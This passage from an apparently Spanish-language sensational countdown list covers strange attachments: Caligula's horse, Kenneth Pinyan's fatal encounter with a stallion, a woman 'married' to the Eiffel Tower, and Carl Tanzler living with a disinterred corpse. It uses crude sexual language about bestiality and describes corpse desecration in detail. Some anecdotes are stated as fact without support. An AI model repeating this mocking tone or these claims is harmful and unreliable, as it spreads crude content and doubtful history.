sirvientes y mobiliario de lujo para que recibiese alas personas que le mandaba como invitados. Dormía con mantas decolor púrpura (el tinte más caro en la Antigua Roma,reservado a la familia imperial) y llevaba collares de piedraspreciosas. Calígula otorgó a Incitatus el título de Cónsul. Incitatus era un caballo de carreras y como tal participaba en lascompeticiones celebradas en el hipódromo de Roma. La nocheanterior a una competición, el emperador dormía junto alanimal y se decretaba un silencio general que nadie podía violaren toda la ciudad bajo pena de muerte, con el fin de que el caballodescansase correctamente. Al parecer, Incitatus sóloperdió una carrera en su vida, tras la cual Calígulaordenó al verdugo que matase lentamente al jinete del caballoganador para asegurarse de que sufriera. 3. Kenneth Pinyan y Caballo Estehombre, nacido el 22 de junio de 1960, residía en Gig Harbor,Washington (EEUU). Trabajaba como ingeniero para la empresaaeroespacial Boeing. Algunas noches solía acercarse hasta unagranja ubicada cerca de la ciudad de Enumclaw para dejarse encular porcaballos sementales. Con sus compañeros de correríasbestialistas, grababa estas practicas en vídeo, distribuyendodespués las cintas entre sus conocidos zoofilos bajo elsobrenombre de Mr. Hands. Durante unos de estos encuentros, en julio del 2005, un sementalárabe le causo una perforación en el colon. Pinyanrehusó en un primer momento acudir hasta un hospital, y cuandopor fin lo hizo ya era demasiado tarde: murió de peritonitisaguda. Contaba entonces con 45 años. Su caso salio a la luz publica, con el consiguiente escándalo.Los fiscales del Estado acusaron a James Michael Tait, unfotógrafo de 54 años que acompaño a Pinyan aquellanoche de julio, de entrar sin permiso en una propiedad privada. Pero alno encontrarse evidencia de daño alguno en los caballos, lo cualexcluía los cargos por crueldad animal, se sobreseyó lacausa. Aun así, el caso motivo la ilegalizacion del bestialismoen el estado de Washington. 2. Erika y la Torre Eiffel Erikaes una norteamericana de San Francisco que sufre la enfermedad deenamorarse de objetos, ya que los siente como cosas vivas. Pues bien,después de haber tenido relaciones con un arco de tiro y el Murode Berlín, hace dos años llegó al paso de casarse"oficialmente" con la Torre Eiffel, a la que prometió amar yrespetar por todos los años de su vida. Imaginamos (no esseguro) que la Luna de Miel fue en París. 1. Carl Tanzler y Helena Hoyos Carlfue un radiologista nacido en Alemania quien trabajo en el HospitalMarine, ubicado en Cayo Hueso (Florida). Desarrolló unaenfermiza obsesión por una joven cubana de nombre MaríaElena Helen Milagro-Hoyos, una paciente convaleciente de tuberculosis,la cual terminó muriendo poco después debido a laenfermedad. Tanzler sustrajo su cuerpo de su tumba dos añosdespués de su entierro y la llevó a "vivir" con éldurante 7 años hasta que fue descubierto. Tanzler uniólos huesos con alambre y ganchos para ropa y lleno las cuencasvacías con ojos de vidrio. Como la piel del cuerpo se encontrabaen un avanzado estado de putrefacción, Tanzler lo reemplazo contela de seda empapada en Yeso de París. Cuando el pelocomenzó a caerse del cráneo por descomposición delcuero cabelludo, Tanzler ideó el utilizar una peluca quepreviamente Hoyos había usado y que su madre le habíafacilitado poco después de su funeral en 1931. Tanzlerllenó la cavidad abdominal y el pecho con harapos para quemantuviera la forma original y el cuerpo de Hoyos, vestido con medias,joyas y guantes, fue colocado en la cama del radiologísta. Carlutilizó copiosas cantidades de perfume y desinfectantes yagentes preservadores de tejidos para enmascarar el olor y retrasar losefectos de la descomposición del cadáver.